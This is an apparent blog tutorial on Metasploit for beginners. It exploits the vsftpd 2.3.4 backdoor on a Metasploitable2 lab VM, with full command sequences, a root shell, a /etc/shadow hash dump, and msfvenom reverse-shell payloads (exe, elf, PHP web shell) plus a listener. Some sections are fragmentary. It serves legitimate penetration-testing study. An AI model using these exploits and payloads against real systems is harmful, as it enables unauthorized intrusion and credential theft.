This tutorial provides a comprehensive beginner's guide to Metasploit Framework, covering how to find exploits, configure payloads, gain shell access, and conduct post-exploitation activities against intentionally vulnerable lab systems. It demonstrates the complete workflow from reconnaissance through root shell achievement using Metasploitable2, emphasizing legal home lab practice and professional penetration testing methodology rather than superficial tool usage.
- Metasploit Framework ArchitectureMetasploit contains over 2,300 exploit modules, 1,000 auxiliary modules, 500+ payload types, and post-exploitation capabilities. Exploits target specific CVEs to gain access; payloads determine post-access capabilities (shells or Meterpreter sessions); auxiliary modules handle scanning and reconnaissance; and encoders modify payloads to evade antivirus detection. Understanding this layered structure is essential for effective tool usage.
- msfconsole Core WorkflowThe fundamental workflow uses six main commands: search (find modules by name or CVE), use (select a module), info/show options (review module details), set (configure target IP and listener addresses), check (verify vulnerability presence), and run (execute the exploit). The db_nmap command integrates Nmap scanning directly into Metasploit's database for streamlined vulnerability assessment.
- VSFTPD 2.3.4 Backdoor ExampleThe tutorial walks through exploiting vsftpd_234_backdoor, a real vulnerability present in Metasploitable2. When a user connects with a username containing ':)', the backdoor opens a shell on port 6200. The attack sequence confirms the service version via Nmap, searches for the exploit module, configures target and listener addresses, then runs to gain immediate root shell access—demonstrating the complete exploit-to-shell pathway.
- Meterpreter Advanced Post-ExploitationMeterpreter is an in-memory payload with encrypted communication that avoids writing files to disk. It provides post-exploitation commands including sysinfo (system details), getuid (user context), getsystem (privilege escalation attempts), hashdump (extract password hashes), and file operations (download, upload). These commands demonstrate real-world impact during penetration test engagements beyond simple shell access.
- Reverse vs Bind Shell PayloadsReverse shells (most common) have the target connect back to your listener, working through most firewalls since outbound connections from targets are typically allowed. Bind shells have the target open a port for you to connect to, which simpler in setup but often blocked by firewalls. The payload type selection directly affects engagement success based on network filtering and target positioning.
- msfvenom Standalone Payload Generationmsfvenom creates deliverable payload files (executables, scripts, or shellcode) for client-side attack demonstrations—phishing attachments, USB drops, or file-based delivery in authorized testing. The tool generates platform-specific binaries (windows/x64/meterpreter/reverse_tcp produces .exe; linux/x64 produces .elf; php/meterpreter_reverse_tcp produces web shells), then a multi/handler listener catches the reverse connection.
- Complete Reconnaissance-to-Exploitation WorkflowThe full lab walkthrough executes four phases: reconnaissance (Nmap service enumeration discovers vsftpd 2.3.4), exploitation (Metasploit module execution opens shell on port 6200), post-exploitation (demonstrate root access, extract /etc/shadow hashes, document system details), and reporting (screenshot evidence and severity assessment). This structured process mirrors professional penetration testing engagements.
- Legal Practice and Ethical EmphasisThe article repeatedly emphasizes that all commands target Metasploitable2 in isolated VirtualBox labs with explicit warnings against unauthorized testing. It distinguishes legal targets (owned systems, Metasploitable2, TryHackMe, Hack The Box, authorized engagements) from illegal targets (systems without written authorization). This framing establishes that tool knowledge requires responsible application boundaries.
Bottom line: Metasploit's value lies not in running exploits as a "magic button," but in understanding why each exploit works, what vulnerability it targets, and what that reveals about system security—achieved through deliberate study of module info, structured lab practice on Metasploitable2, and professional documentation of findings. Proficiency requires both technical command syntax and ethical discipline to apply these capabilities only on authorized systems.
Metasploit is the tool that appears in every penetration testing course, every OSCP preparation guide, and every professional ethical hacker’s toolkit. It contains over 2,300 exploit modules, 1,000 auxiliary modules, and hundreds of post-exploitation capabilities — and it is free. But most beginner Metasploit tutorials show you three commands and send you to figure out the rest yourself. This one does not. So lets start our complete metasploit tutorial for beginners – covering msfconsole, meterpreter commands , examples..
This tutorial walks you through Metasploit Framework from the beginning — how the console works, how to find exploits, how to configure them, how to select payloads, what to do after getting a shell, and a complete end-to-end walkthrough from Nmap scan to root shell against Metasploitable2 in your home lab. Everything on your own machines, completely legal, entirely practical.
What Is Metasploit Framework?
Metasploit Framework (MSF) is an open-source penetration testing platform developed and maintained by Rapid7. It provides a structured environment for finding, configuring, and launching exploit modules against systems with known vulnerabilities. In a professional context, it is used after vulnerability scanning to demonstrate the real-world impact of identified weaknesses — proving that a vulnerability is exploitable, not just theoretically present.
Framework Architecture — What the Modules Actually Are
msfconsole — Core Navigation Commands
Your First Exploit — VSFTPD 2.3.4 Backdoor on Metasploitable2
VSFTPD 2.3.4 is a famous example of a backdoor intentionally (or accidentally) introduced into an FTP server package. When a user connects with a username containing a smiley face (:)), the backdoor opens a shell on port 6200. Metasploitable2 runs this exact version — it is your legal practice target.
First, set up your home lab with both Kali Linux and Metasploitable2 in VirtualBox. The Metasploitable Labs hub has additional walkthroughs for every vulnerable service on the target.
$ nmap -sn 192.168.56.0/24
# Your Metasploitable IP appears — typically 192.168.56.101
# ─── STEP 2: Run service scan to confirm vsftpd 2.3.4 ────────
$ sudo nmap -sV -p 21 192.168.56.101
21/tcp open ftp vsftpd 2.3.4
# ─── STEP 3: Start msfconsole and find the exploit ──────────
$ sudo msfconsole
msf6 > search vsftpd 2.3.4
Matching Modules:
0 exploit/unix/ftp/vsftpd_234_backdoor … Excellent
# ─── STEP 4: Use, configure, and exploit ─────────────────────
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(vsftpd) > set RHOSTS 192.168.56.101
msf6 exploit(vsftpd) > run
[*] Command shell session 1 opened (192.168.56.1:49322 → 192.168.56.101:6200)
id
uid=0(root) gid=0(root) groups=0(root)
# Root shell obtained on your own Metasploitable2 VM ✓
Meterpreter — Advanced Post-Exploitation
Most exploits give you a basic command shell. Meterpreter is an advanced payload that gives you a rich interactive session running entirely in memory — no files written to disk, encrypted communication back to your handler. It is the preferred payload for post-exploitation demonstrations in penetration tests.
Payloads — Reverse Shell vs Bind Shell
LHOST + LPORT), then exploit runs and the target calls home. Works through most firewalls since the connection initiates outbound from the target.linux/x64/meterpreter/reverse_tcp
linux/x64/meterpreter/bind_tcp
msfvenom — Generate Standalone Payloads
msfvenom creates standalone payload files — executables, scripts, or shellcode — that you can deliver to a target and run. In penetration testing this is used to demonstrate client-side attack paths: phishing simulations, USB drops, or file-based delivery on authorised tests.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe -o payload.exe
# Linux reverse Meterpreter ELF binary
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f elf -o payload.elf
# PHP web shell
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f raw -o shell.php
# Start multi/handler listener to catch the reverse shell
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.56.1
msf6 > set LPORT 4444
msf6 > run
Full Lab Walkthrough — Nmap to Root on Metasploitable2
This is the complete beginner workflow: start from a blank Kali terminal, scan the target, find a vulnerability, exploit it, and demonstrate post-exploitation impact. Everything against your own Metasploitable2 VM.
$ sudo nmap -sV -sC –top-ports 1000 -oA metasploitable_scan 192.168.56.101
21/tcp open ftp vsftpd 2.3.4 ← Backdoored FTP
22/tcp open ssh OpenSSH 4.7p1
139/tcp open netbios Samba smbd 3.X ← CVE-2007-2447
3306/tcp open mysql MySQL 5.0.51a ← Empty root password
# ═══ PHASE 2: EXPLOITATION (vsftpd backdoor) ══════════════════
$ sudo msfconsole
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 192.168.56.101
msf6 > run
[*] Command shell session 1 opened
# ═══ PHASE 3: POST-EXPLOITATION ═══════════════════════════════
whoami → root
cat /etc/shadow → root:$1$… [password hashes extracted]
uname -a → Linux metasploitable 2.6.24-16-server
# ═══ PHASE 4: DOCUMENT FOR REPORT ════════════════════════════
# Screenshot each phase. Note: vuln found (vsftpd 2.3.4),
# exploit used (backdoor), evidence obtained (root shell, /etc/shadow)
# Severity: CRITICAL — unauthenticated remote root shell

